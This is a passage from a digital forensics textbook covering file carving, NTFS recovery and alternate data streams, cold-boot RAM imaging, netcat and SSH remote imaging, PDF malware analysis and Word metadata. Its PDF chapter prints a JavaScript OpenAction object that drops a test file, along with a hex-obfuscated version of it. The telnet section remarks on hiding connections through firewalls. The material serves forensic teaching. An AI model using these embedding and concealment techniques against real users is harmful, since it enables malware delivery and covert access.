Now we can finally extract the .jpg file with the command dd (data duplica-
tor). We simply need to tell the system, what the original file we want to carve
from is, the header offset, and the number of bytes we want to extract.
After all steps above there should be a new jpg-file in the current directory.
Opening it we will see the picture of a shark.
7.4 Block-Hashed-Carving
80
CHAPTER 7. FILE CARVING
Example
The following steps explained, are based on the blockhash.sh script described
in the book Computer Forensik Hacks, Hack #35, p.104. We will be work-
ing on the file 12-carve-fat.dd and try to find the haxor2.bmp file (cf. http:
//dftt.sourceforge.net/test12/index.html), here called test.bmp, we just
extracted, using the carving tool Autopsy 4.6.0
Step 1:
Starting the script, we need to provide the device image we want to search
in, the target file we want to search for, and the block size. As we know, we are
working on an ext2 file system, we will choose the block size of 1024.
Step 2:
Now the number of blocks in both files are calculated, by:
l e t f i r s t l e n g t h= $ f i r s t s i z e / $ b l o c k s i z e
l e t s e c o n d l e n g t h=$ s e c o n d s i z e / $ b l o c k s i z e
resulting in 126325 blocks for the disk image file and 160 blocks for the .bmp file
Step 3:
These lengths are used to iterate over each block, calculating the MD5 hash
values and storing them in two files. Here, the example of the first file for-loop:
f o r ( ( i =0; i < $ ( ( $ f i r s t l e n g t h ) ) ; i ++)) ; do
dd i f = $ f i r s t bs=$ b l o c k s i z e s k i p=$ i count=1 | md5sum | awk ’ { p r i n t
$1 } ’ >> $ f i r s t . h a s h e s
Step 4:
Both files, including the hash values, now can be compared. We count the
matches in one file and calculating the result in a percentage by dividing it by
the length of the other file:
h i t s 1=$ ( g r e p −c −f $ f i r s t . h a s h e s $ s e c o n d . h a s h e s )
f i r s t p e r c e n t=$ ( echo ” s c a l e =2; ( $ h i t s 1 / $ s e c o n d l e n g t h ∗ 1 0 0 ) ” | bc − l )
We were able to find all of the .bmp files 160 hashes in our image file,
which indicates that the .bmp file was saved on the hard drive at some time.
As we see we have found 100% of the bmp file in the image file. The other way
around, we even found 125042 hashes of the image file in the .bmp file. It is a
little irritating that we have found 98% of our image file in the .bmp file even
though the image file is much bigger. This is a good example of data collision.
81
CHAPTER 7. FILE CARVING
Examining the image hash file, we can see that there are 124864 hashes of blocks
of 0s that are included in the .bmp file hashes twice. Thats why these hashes
are matched with the same .bmp hashes repeatedly. Adding those 124864 to
the 160 hashes of the .bmp file we get the resulting 125024 matches.
To give it another try, we can now change the .bmp file within the drive
image file, by changing one single byte, using a hex editor. This could happen
due to partial overwriting or be an attempt to hide the file. Doing the same
procedure again will now lead to the following result:
In this case, we were able to find 159 matches, 99% of the .bmp file in
the image file. Only one Block including the modified byte cant be matched.
Still, we get a clear idea, of how possible it is, that this file was once stored on
the hard drive.
7.5 Resources
www.ufsexplorer.com/und_fs.php
https://www.howtogeek.com/
https://praxistipps.chip.de/
https://ccm.net/contents/628-the-ntfs-file-system
https://de.slideshare.net/AakarshRaj/file-carving-46419175
https://www.filesignatures.net/
https://www.sciencedirect.com/science/article/pii/S1742287615000468
https://calhoun.nps.edu/
https://www.maketecheasier.com/defragment-linux/
www.pro-linux.de/
https://cygwin.com/cygwin-ug-net/cygwin-ug-net.pdf
https://www.sleuthkit.org/autopsy
https://www.sleuthkit.org/autopsy/features.php
https://www.sweetscape.com/articles/hex_editor.html
82
Chapter 8
8.1 Introduction
83
CHAPTER 8. DATA RECOVERY IN NTFS
84
CHAPTER 8. DATA RECOVERY IN NTFS
85
CHAPTER 8. DATA RECOVERY IN NTFS
Figure 8.3: Hex editor showing the first entry of the master file table
86
CHAPTER 8. DATA RECOVERY IN NTFS
in figure 1, which file types are supported are listed in table 1. Recuva needs a
location to scan for files, the wizard easily let is you select the location as seen
in figure 8.5b. The software offers two search modes:
• normal scan
• deep scan
(a) Select file type in Re- (b) Select where to look (c) Choose between nor-
cuva for files mal and deep scan
The normal scan looks inside the master file table for deleted, corrupted and
overwritten files. This scan is very fast. By default, Recuva will use the normal
scan as seen in figure 8.5c. However, if the drive was formatted or damaged
most of the time the normal scan is not sufficient. In that case, the mode deep
scan might work. Deep scan does file carving and because of that, it is a lot
slower. File names are also not recovered by the deep scan.
Testdisk
Unlike the other tools, Testdisk only comes with a command line interface.
This software is also designed for partition recovery. This tool can help to
87
CHAPTER 8. DATA RECOVERY IN NTFS
Diskdigger
This is free software for private use only.
This tool does not need an installation and Figure 8.6: Diskdigger
also is able to scan DD-formated images.
Glary Undelete
Another free software which also sup-
ports to search for a lot of different file types.
This software has the overall best filter op-
tions. Nonetheless, this software does not
offer the carving method. This software also
comes with some adware.
Conclusion
There are a lot of different tools to re-
cover deleted data. Mostly all of them offer
the utility for a normal scan that only checks
the master file table. And they also offer another mode that uses carving to
scan for certain files types. They may differ in speed but the results are mostly
the same.
8.3 Slack
Hard drives consist usually of 512 byte sectors. Depending on the configura-
tion cluster sizes can be different. The cluster size is the minimal size the hard
drive allocates for a file. Standard cluster size on NTFS is 4096 byte. That
means 8 sectors combined are one cluster. Since the smallest file size has to
be 4096 bytes a smaller file that usually would only take 1 byte still reserves
the full cluster. 4095 bytes are unused. That remaining space is called slack.
There are 2 different kinds of slack spaces. For example, the file takes up the
first sector, however only the first byte. The last bytes in this sector are written
with null bytes. This is called the RAM-slack. Former random RAM memory
was written at the end of the sector. Unfortunately, this is not secure since the
RAM can consist of sensitive data. In this case, the last 7 sectors are drive
slack. They contain data that was written on these sectors before. Figure 8.7
shows that file A writes its content to 6 sectors of the cluster. The last 2 sectors
contain whatever data was stored before. File B overrides the cluster where file
A was stored. However, B is smaller than A and for that reason, 2 sectors with
data from A still exist.
Digital forensics expert should know about the slack area and how to evaluate
it. The drive slack may contain information about a person doing however, data
88
CHAPTER 8. DATA RECOVERY IN NTFS
must be assignable to a person. That is not the case with drive slack. For that
reason, the information inside the drive slack is not valid in court, but it can
help for further investigation since it is possible it contains some password keys.
Hence the data is in most cases never complete analyzing the data can become
quite difficult. A criminal could also use the slack space to hide certain data.
Locating such data proves to be extremely time-consuming.
Alternate data streams do not show up in the directory listing and they do
not increase the file size of the original file. So data can be hidden in those
89
CHAPTER 8. DATA RECOVERY IN NTFS
streams. With the knowledge from figure 8.8 we can write and read data
streams. In figure 8.9 we will create a file and write some text to it. As we
can see it actually has a size of 34 bytes. The total free space on this drive is
8.150.261.760 bytes.
We can actually use the notepad to open such a stream and write some
content to it. In figure 8.10a a secret message is written to the alternate data
stream called secret. The secret data would not be visible if we printed out the
content as shown in figure 8.10b. However, we can use notepad again to view the
content of the alternate data stream. The additional parameter /r is necessary
to list data streams in the current directory. After creating the alternate data
stream the actual file size is still the same. We can see that when we compare
the allocated file size of foo.txt on figure 8.9 and 8.11. The free space of the
drive also did not change.
Not only files but also hidden software could be hidden in such an alternate
data stream. It is possible to attach a stream to a directory. Most anti virus
software will scan these streams, for example Malwarebytes Anti-Malware scans
90
CHAPTER 8. DATA RECOVERY IN NTFS
With Windows 8 or higher, we can use the Powershell to create, list and view
streams . We can use Set-Content and Get-Content to write to a file or view
the data of the file. With Path we can define what file or directory we want
to look at. The Stream object will use alternate data streams instead of the
default one.
An abstract example to view the data of a stream would be:
Get-Content -Path {path to the file} -Stream {name of the stream}
In our case from figure 8.10a:
Get-Content -Path I:\foo.txt -Stream secret.txt
8.4 Resources
https://blogs.technet.microsoft.com
https://www.ccleaner.com/docs/
http://www.file-recovery.com/
https://blog.malwarebytes.com/
91
CHAPTER 8. DATA RECOVERY IN NTFS
92
Chapter 9
RAM Imaging
9.1 Introduction
RAM imaging is a process in which the contents of the RAM are copied
bit-by-bit (in a similar way the hard disk is copied into an image)[1]. It is
an important tool in digital forensics, as it gives the forensics investigator an
extra evidence registering tool. However, this extra tool also adds an extra
complexity dimension: now the investigator has two choices upon gaining access
to the target device - either force an abrupt removal of power by disconnecting
its power source (so that the target device is left in the more preserved state
in contrast with turning it off the expected way), or interact with the system
without turning it off.
The RAM is volatile memory (that is, it is not expected that it will preserve
its state after a shutdown), so in order to create a usable image of the RAM, the
target device must not be turned off. This memory dump of the RAM can be
used to later analyze what the target machines user was doing at the moment
of device takeover.
Analyzing this RAM image is better than analyzing the target devices RAM
directly, as performing many actions overwrites potential evidence in memory
akin to creating new files on a suspect hard disk drive.
The decision of creating a memory dump before turning off the target device,
against shutting it down as soon as control is gained, is not to be taken lightly
and depends on the objective and variables of the case. This is because, although
creating a RAM image effectively preserves most of the contents of the RAM,
it can still trigger certain actions that overwrite or damage potential evidence
in the devices hard disk. Therefore, a conscious decision must be taken ideally
before the device takeover act.
93
CHAPTER 9. RAM IMAGING
Although under most circumstances the act of copying RAM will be shown
to have a negative impact to potential evidence, the impact should be out-
weighed by potential gain. This gain can be achieved with good procedures and
documentation, which in turn will minimize the effect of potential damage to
evidence.
9.3 Objectives
The main objective of a RAM imaging process, is to create an ideally iden-
tical image of the RAM at the time of target device takeover, so that it can be
later analyzed without risk from that passive memory dump.
Therefore, the RAM imaging process can be divided into two separate areas:
94
CHAPTER 9. RAM IMAGING
9.4 Tools
The following tools/systems were used to perform the examples:
– FTK Imager
– DumpIt
– Belkasoft
– RMPrepUSB
– Bios memimage-1.2.tar.gz
– Target device cold boot: Intel i386 (32 bit) architecture, 4GB RAM,
Windows 7
– Cold spray (-45 degrees celsius) and compressed air can (duster)
– Volatility
– Foremost
– Pdfid.py
95
CHAPTER 9. RAM IMAGING
96
CHAPTER 9. RAM IMAGING
The third software we tested was Belkasoft. This software can also be run
from a USB stick and has a simple interaction to input the storage path and
unlike most memory acquisition softwares, it runs in kernel-mode, which allows
bypassing anti-debugging protection, see Figure 9.3.
Additionally, Belkasoft offers the option to analyze the saved RAM image.
Including the detection of artifacts, document formats, emails, registry files and
so on.
• Create an image from the PC using the physical cold boot method (for
demonstration purposes, we will use an training image obtained in).
97
CHAPTER 9. RAM IMAGING
9.6.2 Procedure
I) We will first create an USB stick that will be loaded when the target
device is restarted, and will create a copy of the preserved cold RAM.
For this step, we can use plenty of different tools (described in section 9.
Extra tools); we will use a tool called RMPrepUSB, which has the advantage of
being able to copy a .bin to a specific sector of the USB, which, coupled with
the correct RAM memory scraper file, will use a minimal amount of space in
the target devices RAM (thus better preserving its state).
We will also use the scraper called bios memimage-1.2.tar.gz (from source
). After extracting and compiling it for a 32 bit architecture (the same as the
target device), we proceed to save it into the USB stick (NOTE: the previous
contents of the USB stick will be destroyed in the process). (Select the drive in
RMPrepUSB and use the File-¿Drive button, select the scraper.bin file and a
USB start and File start address of 0 and length of 0).
After that, we should have a FAT16 formatted USB drive with scraper.bin
as the boot code. See Figure 9.4.
II) We can now perform the cold boot method on the target device:
1. With the PC still turned on, we open the PC in a way so that the RAM
memory is exposed and accessible.
2. We start cooling the RAM with the cold spray, trying to do it in a way so
that all sections of the ram sticks are evenly cooled. This should be done
for around 5 to 10 seconds.
7. After this, the USB stick will begin copying the memory into itself. This
process duration depends on both the amount of RAM on the device, and
the speed of the file transfer to the USB stick. In this case, as the target
device had 4GB of RAM and its USB port is USB2.0, the process lasted
approximately 50 minutes.
After this, we should have an image of the RAM in the USB stick. This com-
pletes the first step of our goal. We can now proceed with the analysis of the
RAM image.
9.6.3 Remark
• If the boot order of the system is unknown, it is necessary to modify
this setting in the BIOS of the computer while the RAM is being cooled.
98
CHAPTER 9. RAM IMAGING
99
CHAPTER 9. RAM IMAGING
However, this adds an extra relatively big step, and could influence the
quality of the final image.
9.7.2 Procedure
I) For the first step, we will list the processes that were running on the
victims PC in order to know which process was most likely responsible for the
initial exploit. Using Volatilitys pslists command, we can do that as shown in
Figure 9.5.
Here, we can see all the processes that the victim was using at the mo-
ment of imaging. Highlighted, we can see that the process AcroRd32.exe was
running, and was started by PPID 888, which is firefox.exe. We know that the
victim opened a file from her email, so it is plausible that the file was a PDF
file, opened from Firefox.
II) Next, we can list the connections and sockets that were open on the
victims machine, so that we can see if there is any suspicious processes that
have sockets open shown in Figure 9.6.
Here we can see the connections that were opened at the time of imag-
ing. Highlighted we can see that the process id 1752 (Acrobat Reader) has a
suspicious connection to the remote address 212.150.164.203. Also, that same
process has an open socket assigned on port 1178.
Doing a quick ip lookup, we see that the IP address is registered under the
name NetVision, in Israel, see Figure 9.7. This confirms our initial suspicion of
the Acrobat Reader process. We can now try to find the original PDF file.
100
CHAPTER 9. RAM IMAGING
101
CHAPTER 9. RAM IMAGING
102
CHAPTER 9. RAM IMAGING
V) We should now analyze both files using pdfid.py, to see if there is anything
interesting (Figure 9.11). The first file turned out to be encrypted, but nothing
really interesting is there. It has JavaScript code in it. This is certainly not
usual in a normal PDF file; therefore, this file is now our prime suspect, since
it most likely had malicious code in it(Figure 9.12). Analyzing the file is out
of the scope of this hack; however, as next steps, it can be further investigated
by parsing the PDF into a readable file, and later studying the JavaScript code
in order to know which vulnerability was used, and hopefully, a perpetrators
address.
• Linux
• MacOS
– Goldfish
– Mac Memory Reader
103
CHAPTER 9. RAM IMAGING
104
CHAPTER 9. RAM IMAGING
105
CHAPTER 9. RAM IMAGING
– OSXPMem
• Windows
– WindowsSCOPE
– Memory DD
– Mandiant Memoryze
– Windows Memory Reader
– WinPmem
– FTK Imager
9.9 Conclusion
Data proceeding from RAM can provide an additional depth and broadness
on information concerning the system state of the device at the moment of the
acquisition. As result, despite the minimal negative impact on the integrity of
evidence a lot can be gained during the analysis.
9.10 Resources
https://www.tandfonline.com/doi/full/10.1080/15567280701418171
https://citp.princeton.edu/research/memory/
https://github.com/DonnchaC/coldboot-attacks/blob/master/coldboot.
pdf
https://github.com/volatilityfoundation/
https://www.forensicswiki.org/wiki/Tools:Memory_Imaging
https://www.hackers-arise.com/
https://users.ece.cmu.edu/~tvidas/papers/JDFP06.pdf
https://www.forensicmag.com/
106
Chapter 10
Remote Imaging
10.1 Introduction
This hack aims to access and transfer data (e.g. hard drive disk images)
remotely via network. The main focus of this procedure is to configure a device
to send information like disk images or backups to another machine. This
mechanism is especially important to obtain data for analyzing purposes from
a storage system where a physical access is not possible.
Basically there are two different approaches. This first hack uses a simple
TCP/UDP protocol established via netcat. It must be taken into account that
these connections are not encrypted and thus not safe. In contrast to this
procedure, the 2nd hack deals with a secured transmission by setting up a SSH
connection.
10.2 Setup
10.2.1 Installing netcat on Linux and Windows
Netcat is a simple network tool to read and write data across a network
using TCP and UDP. Its also referred as the Swiss Army knife cause of its wide
range of functionalities. Some of these includes transferring files, port scanning,
establish back doors and port listening. This Hack describes the basics of Netcat
and how data can be transfered and backed up over a networks.
On many Linux-Distributions Netcat is already preinstalled and can be used
with the path-variable nc. Should this not be the case, it can be installed on
debian systems with the package manager using the following command:
$ sudo apt−g e t i n s t a l l n e t c a t −openbsd
To run Netcat on a Windows system and use it without installing its possible
to download a portable version in the link below. Instead of the nc command
on Windows, the tool can be used by replacing it with ncat.exe directly from
107
CHAPTER 10. REMOTE IMAGING
the folder.
Download link: http://nmap.org/dist/ncat-portable-5.59BETA1.zip
For our example we want to connect with the HS-Ulm web server on the HTTP-
Port 80.
$ nc <ho st > <p o r t >
The next step is to specify the type of the request. If we only want the header,
we had to type HEAD / http/1.0 followed by two carriage returns. As result, we
will receive all the Information that the Header contains as seen in the following
illustration. See Figure 10.1.
108
CHAPTER 10. REMOTE IMAGING
10.4.1 Instructions
To set up a connection to a windows client via telnet over port 23, we can
run the following command on the client:
109
CHAPTER 10. REMOTE IMAGING
Once we have established the connection we are able to control the client
and execute commands. The special feature of this function is, that the port
can be changed to any port number to hide the connection or tunnel trough a
firewall. See Figure 10.2.
10.5.1 Destination
First we need to instruct Netcat on the destination host to listen for an
incoming request on a randomly chosen port. The command below initiates
netcat to retain listening on port 4711 until it receives a request for a transfer
of file.txt.
110
CHAPTER 10. REMOTE IMAGING
$ nc v w5 l p 4711 > f i l e . t x t
10.5.2 Source
With the command below we can start the data transfer from the source
host to the target host. In this process, the content of the file will be written
into the standard input of the left command.
$ nc v w 5 <t a r g e t −ip > 4711 < f i l e . t x t
111
CHAPTER 10. REMOTE IMAGING
network to the forensic workstation. With the command below we can set the
server on the listening mode:
$ nc l p <p o r t > | dd o f=<Path>/Image . dd
Conversely to the command on the server the standard output of Disk Dump is
written in the standard input of netcat.
112
CHAPTER 10. REMOTE IMAGING
Due to the fact that the SSH Client is already part of almost all Linux-
distributions, this step is already sufficient that a client can be connected with
the server. However, it is important to ensure that the SSH-Server is running.
The list below gives an basic overview about the administration of the SSH-
service:
Command Description
service ssh status Displays the status of the service
service ssh start Launches the service
service ssh stop Terminates the service
To simplify and improve this process its recommended to install a few more
packages on the client:
$ sudo apt−g e t i n s t a l l pv g z i p b u f f e r
Command Description
pv The Pipe Viewer allows to monitor
the progess of the filetransfer.
gzip Gzip offer the opportunity to
compress the transmitted file.
buffer Ensures continuous data flow and
increases the data throughput
Before we can start the transmission we need to identify the partition on the
source host that should be transmitted to the target-host. The command shell
based tool fdisk allows us with the parameter -lu to list all partitions on a data
medium. As we can see in Figure 10.3, there are two devices available that can
be chosen to back up. Similar to the previous hack, we can use the Disk Dump
Tool dd to create the image, with the difference that the host has to authenticate
himself on the ssh-server of the target-machine by providing the username, the
password and the ip-address of the forensic workstation. To select the source-
device we can specify it by the device name. The cat-command is used to write
the copied data into the image-file. See Figure 10.4
In this regard, it must be noted that the Parameters pv, gzip and buffer are
optional and not necessary. However they are preferable to increase the data
throughput and minimize the transmission time.
113
CHAPTER 10. REMOTE IMAGING
Just like the last hack we need to install the OpenSSH-Server on the forensic
workstation with the command:
$ sudo apt−g e t i n s t a l l openssh−s e r v e r
Before we can start to back up the client we need to start the SSH-Service on
the target-host and create a directory, where the image is to be stored. This
can be easily done with:
$ mkdir ˜/ Image
With this command we have created a Directory, named Image, in the home
folder of the user. The next step is to create a directory on the client in which
the Image-Directory of the Server can be mounted. In our example we cre-
ated a folder fuse in the home directory, that is named after the Filesystem in
Userspace.
$ mkdir ˜/ f u s e
114
CHAPTER 10. REMOTE IMAGING
Practical Example
To transmit a copy of an entire hard disk or partition we can use the tool
dc3dd, which needs the source-device and the target-path as parameter. By
the specification of a hash-algorithm we can create a hash-value, to retrace the
authenticity of the image, in the same process. See Figure 10.5 & 10.6.
After the transmission is completed we will get a logfile, that contains the
details about the transmission and the created hash-value. At the end of the
backup process we need to unmount the remote directory on the client with the
command fusermount and the parameter u (for unmount).
$ fusermount u ˜/ f u s e
115
CHAPTER 10. REMOTE IMAGING
116
Chapter 11
11.1 Introduction
Manipulated word-documents are very popular to criminals to infect com-
puters with their malware. The fact that even PDF files can contain executable
code is often forgotten. Many users still believe that PDF files are basically
harmless. This lack of knowledge is increasingly used by attackers today to
spread their malware in a perhaps unexpected way. Therefore it is appropri-
ate to consider one of the most commonly used document formats which is the
Portable Document Format (PDF).
Nowadays, PDF documents may even contain interactive elements (JavaScript),
three dimensional objects and video content (Rich Media pdf) which provides
ideal conditions for malware to hide. A PDF file is similar to an archive, it con-
tains different PDF objects which are describing the corresponding document
and are arranged in a COS object tree (Carousel Object Structure).
The malicious PDF file usually contains an exploit. After opening the sus-
picious PDF document, the exploited code runs and then other files can be
executed or it could also trigger downloading files.
During every forensic investigation it has to be clarified, how the system
was infected with the malware. Furthermore, as a digital forensic specialist it
is advantageous to know as much different ways of potential infection scenarios
as possible, since security incidents need to be reconstructed and retraced. This
hack deals with the examination of PDF documents to evaluate their content
and the risk behind them.
117
CHAPTER 11. PDF MALWARE ANALYSIS
11.2.1 Header
The first section of the file is the header and consists normally of two lines.
The first line specifies the PDF version number of the file and is mandatory.
This allows applications to determine if they are able to process the file or not.
The second line contains some non-printable characters, which are usually
used to tell applications, that the file contains binary data and should not be
treated as ASCII text. For Example:
%PDF−1.1
%
11.2.2 Body
The body of a PDF File contains the indirect objects that compose the
content of a document. For the forensic investigation, this section provides an
important source of information about the content of a PDF document. The
contained objects allows to draw a conclusion if a document is compromised
with malicious content. A closer look on these objects can be found in the
section Adobe PDF Objects.
For the beginning we are focusing on objects that are mandatory for PDF-
Documents:
• /Pages: This part describes the page tree, which defines the ordering of
pages in the document.
• /Page: The leaves of the Page Tree are called Page Objects. They are
specifying the attributes of a single page.
118
CHAPTER 11. PDF MALWARE ANALYSIS
119
CHAPTER 11. PDF MALWARE ANALYSIS
xref
0 4
0000000000 65535 f
0000000021 00000 n
0000000086 00000 n
0000000195 00000 n
Afterwards we can find a 20 byte long entry for each of this objects. This
information can be easily broken down into the following components:
• 10-digit byte offset to the object from the beginning oft he document
• 5-digit generation number
• Entry type: n = in use, f = free
11.2.4 Trailer
The last section is the trailer, that contains a link to the cross-reference
table of the document and starts with the line trailer. The trailer must contain
at least two entries:
• /Root: The root entry contains an indirect reference (object number)
of the Catalog dictionary. This allows a reader to quickly find the cross-
reference table and other objects.
• /Size: The size entry specifies the total amount of entries in the files
cross-reference table. Its important to mention here, that PDF readers
should read PDF files from its end.
For example:
trailer
<< / S i z e 7
/ Root 1 0 R
>>
startxref
408
%%EOF
Before the end of the file there are two line with a string startxref and a number.
This entries define an offset (in our case 408 Byte) from the beginning of the
file to the cross-reference table of the document, that starts with xref. Finally,
the line %%EOF declares the end of the file.
120
CHAPTER 11. PDF MALWARE ANALYSIS
9 0 obj
<< /Type / A c t i o n
/S / J a v a S c r i p t
/JS ( t h i s . e x p o r t D a t a O b j e c t ( { cName : ” e i c a r −d r o p p e r . doc ” , nLaunch : 2
}) ; )
>>
endobj
Regrettably since the PDF specification version 1.2, its allowed to replace char-
acters with ist hexadecimal ASCII Code. As can be seen below, the same code
seems unreadable and can be very for a manual analysis. Fortunately, there
are some programs that automatically check PDF documents for there objects,
which are able to find these hidden objects. For example:
9 0 obj
<< /\#54\#79\#70\#65 /\#41\#63\#74\#69\#6 f \#6e
/\#53 /\#4a\#61\#76\#61\#53\#63\#72\#69\#70\#74
/\#4a\#53(\#28\#74\#68\#69\#73\#2 e\#65\#78\#70\#6 f
\#72\#74\#44\#61\#74\#61\#4 f \#62\#
6 a\#65\#63\#74\#28\#7b\#20\#63\#4e\#61\#6d\#65\#3a
\#20\#22\#65\#69\#63\#61\#72\#2d\#64\#72\#6 f \#70\#70\#65\#72\#2
e\#64\#6 f \#63\#22\#2c\#20\#6e\#4c\#61\#75\#6e\#63\#68\#3a
\#20\#32\#20\#7d\#29\#3b\#29
>>
endobj
11.3.1 PdfXplorer
Sometimes it can be useful to view the internal structure of the PDF files in
order to understand the objects of the PDF file and their relationships. For this
121
CHAPTER 11. PDF MALWARE ANALYSIS
purpose we can use the Tool PdfXplorer to represent the structure in a Tree.
Download: http://www.o2sol.com/pdfxplorer/overview.htm
With the -i option we induce the peepdf interactive console to launch, where we
can later use various commands for analysing the file, see Figure 11.2:
122
CHAPTER 11. PDF MALWARE ANALYSIS
123
CHAPTER 11. PDF MALWARE ANALYSIS
Command Result
Tree shows PDF file structure as a tree
metadata search file for metadata
Info shows initial overview again
object 9 inspect object [9]
info 9 further description of object [9]
js analyse 9 analyze JavaScript object [9]
Help list of all commands
For a quick overview of a suspicious PDF file, we can use peepdf with following
command and find suspicious objects inside the ¡suspicious elements¿ tag, see
Figure 11.3:
peepdf x ˜/ Desktop / m a l i c i o u s t e s t f i l e . p d f
With the -x option we specify XML format for displaying information about the
PDF file.
For further analysing the JavaScript code of object [9] with peepdf, the
js analyse command requires to have PyV8 installed, which acts like a bridge
between Python and JavaScript objects and which is not installed on Kali by
default.
For reproducing reasons and to introduce other tools, we use the python-
script pdf-parser for further analysing, in particular JavaScript objects. Before
we start analysing with the pdf-parser, we create our own malicious testfile with
a javascript code. Therefore we use the make-pdf tool like following:
$ python make−pdf−j a v a s c r i p t . py [ o p t i o n s ] pdf− f i l e
Option Result
-h or help help page
-j or –javascript= embed javascript code
-f or –javascriptfile= embed javascript file
For testing purposes we created a very simple JavaScript file which simply shows
an alert box stating that the victim just got hacked:
app . a l e r t ( { cMsg : ’ ! ! ! You j u s t g o t hacked ! ! ! ’ , cTitle : ’ RIP ’ , n I c o n :
1}) ;
124
CHAPTER 11. PDF MALWARE ANALYSIS
125
CHAPTER 11. PDF MALWARE ANALYSIS
Now we can verify if our manipulated pdf document works properly by opening
it, see Figure 11.4. Since Kali Linux is blocking the execution of the embedded
javascript code, we sent the pdf document to a windows machine and disabled
the malware scanner there, see Figure 11.5. Since we now succesfully created
our malicious pdf document we can proceed with the malware analyses using
the pdf-parser. The tool parses through the file without rendering it and thus
no code from /OpenAction or /AA objects could be automatically executed.
Find below in the subsequent table a collection of the most useful options for
the pdf-parser -tool.
Option Result
-h or help help page
-s or –search= search for strings inside objects
(not case-sensitive)
-o or –object= select an object by its id (e.g. -o 9)
-w or raw raw output for data
-a or stats sdisplay stats for pdf document
-t or –type= select an object by its type (e.g.
–type=/OpenAction)
It is recommendable to use the –stats option first of all, to classify the pdf
document and to get a rough overview of the contained objects. Unexpected or
unusual objects can be identified here at the first time. Frequently, pdf files have
almost identical stats, although they are completely different in their content
126
CHAPTER 11. PDF MALWARE ANALYSIS
and origin.
If we execute the command with our self-manipulated testfile we get the
output shown in Figure 11.6.
As we can see there is one object with a /Action tag which indicates that
there could be some code execution done within the PDF document. With the
-s option we can search for string inside objects (not case-sensitive) that are
of our interest. Useful search terms are openaction, javascript, aa, richmedia
among many, cf. Figure 11.7.
As we can see there is object 1 (which is the /Catalog and by that the root
of the document) where we should be aware of. It contains an /OpenAction
tag referencing to object 7. We remember, /OpenAction and /AA indicate
an automatic action that is performed when the pdf file is rendered (when
pdf file is opened). Especially the combination of /OpenAction (/AA) and
JavaScript objects (/JS, /JavaScript) makes a pdf file suspicious since it is a
very common attack vector. To search for JavaScript-objects in particular, we
use the command like shown in Figure 11.8.
But since we already know that the root object is referencing to object 7
we can directly inspect this object which gets us the same results, as show in
Figure 11.9. According to the above results, object 7 is an Action object
containing javascript code which is exactly the script we embedded previously.
With the following command we can find out which other objects are referencing
to this JavaScript-object. This is especially interesting since it causes the code
to run automatically if it is a /AA or /OpenAction object referencing to the
127
CHAPTER 11. PDF MALWARE ANALYSIS
128
CHAPTER 11. PDF MALWARE ANALYSIS
129
CHAPTER 11. PDF MALWARE ANALYSIS
130
CHAPTER 11. PDF MALWARE ANALYSIS
as in case of other PDF analysing softwares. We can also send your PDF on
an email (scanvirustotal.com) provided by the company which will analyze your
PDF and send us the results. But obviously, this can only be used with non-
confidential material, since by uploading the software to a third party, we loose
all control about what they do with it.
As we can see in Figure 11.13, in total 5 out of 61 anti virus programs listed
on VirusTotal recognized our own prepared PDF document as malware.
11.5.2 Anubis
Anubis provides an service for online malware analysis. We can upload any
windows program or URL and Anubis will provide us with a report of the file
in different formats like HTML, XML, PDF, Text etc. In the report there will
details about the internal processes between the Windows registries and the file
as well as detailed information about the network activities. Also, it provides
details about types of detected viruses and malware. These details help to find
out more about the other possibilities of attacks or the thinking of the attacker.
It give us also binary data allowing us to see what a particular type of malware
is going to do in our computer.
131
CHAPTER 11. PDF MALWARE ANALYSIS
132
Chapter 12
12.1 Introduction
The Microsoft-Office suite is probably the most widely used word-processing
tool when preparing and writing documents, spreadsheets and presentations.
Starting with the 2007 version (Microsoft Office 2007), Microsoft has completely
changed the format of its document files, from the binary doc format to basically
a zip-file that contains all the xml-files pertaining to the document. In Order to
perform this hack you need to get an basic understanding on the architecture
and function of the docx-file format.
• XML-files, which describe application data, meta data and even customer
data, stored inside the container file
• non- XML-files, may also be included within the container, including such
parts as binary files representing images or OLE objects embedded in the
document
• relationship parts thats specify the relationships between the parts, this
design provides the structures for an Microsoft Office file .
133
CHAPTER 12. WORD DOCUMENT ARTIFACTS
• the files are compressed, thus they are short and easy to manage
• if some of the files in the zip container are damaged, the integrity of the
entire document could be preserved, and in some case the main document
could be reconstructed.
• name
• initials
• computer name
• name of the network server or hard disk where you saved the document
• document revisions
• document versions
• template information
• hidden text
134
CHAPTER 12. WORD DOCUMENT ARTIFACTS
• personalized views
• comments
12.4.2 ExifTool
ExifTool is a platform-independent Perl library and command-line applica-
tion for reading, writing, and editing meta data in a variety of files.
Download: https://www.sno.phy.queensu.ca/~phil/exiftool/
This application does not require any installation, thus you just need to
start it. There are two ways to extract the meta data out of the document files
using ExifTool. The first option is the easier one. Here do you have to drag
the file, you want to analyze onto the exiftool(-k).exe. After dropping the file,
a command-line window opens and shows the meta data which is saved within
the docx-file. (-k) is important, because this expression causes the window not
to be closed immediately after opening, compare Figure 12.5.
In using exiftool.exe with the command interpreter (e.g. CMD or Power-
shell), you now are able to access the advanced options of the tool. That is the
second option to use exiftool as shown in Figure 12.6 and in Figure 12.7.
135
CHAPTER 12. WORD DOCUMENT ARTIFACTS
136
CHAPTER 12. WORD DOCUMENT ARTIFACTS
137
CHAPTER 12. WORD DOCUMENT ARTIFACTS
138
CHAPTER 12. WORD DOCUMENT ARTIFACTS
139
CHAPTER 12. WORD DOCUMENT ARTIFACTS
140
CHAPTER 12. WORD DOCUMENT ARTIFACTS
141
CHAPTER 12. WORD DOCUMENT ARTIFACTS
The second technique is to delete created and stored metadata. In this case
you need an application or utility tool to scrub these hidden informations. There
are tools available such as iScrub by BigHand. Unfortunately most of the tools
are not freeware. Since Office 2007 most of the tools does not work for the
older version anymore.The tool DocScrubber was used to delete meta data, but
DocScrubber only supports doc-files. Therefore it is recommended to use the
Microsoft Office included feature Document Inspector, which was mentioned
before.
12.6 Resources
http://isyou.info/jowua/papers/jowua-v2n4-4.pdf
https://www.sno.phy.queensu.ca/~phil/exiftool/
142
Chapter 13
Internet Artifacts
13.1 Introduction
Internet artifacts refer to the data saved by the browser on the users history.
They are important for digital forensics, because they can be used to make a
time line of the users events on the browser and the Internet in general. In the
case of Mozilla Firefox the history data is stored in SQLite files. SQLite files are
used to store databases. These files can be found in the Firefox Profile folder.
The path to the folder depends on the operating system:
This folder can also be directly accessed through the Firefox browser itself.
Simply type about:profiles into the search bar and click the Show in Finder
button. The SQLite files could be open with two kinds of programs. First,
a command line tool called SQLite3 can be used. This command line tool is
available for Mac, Linux, and Windows. It can be downloaded here: https:
143
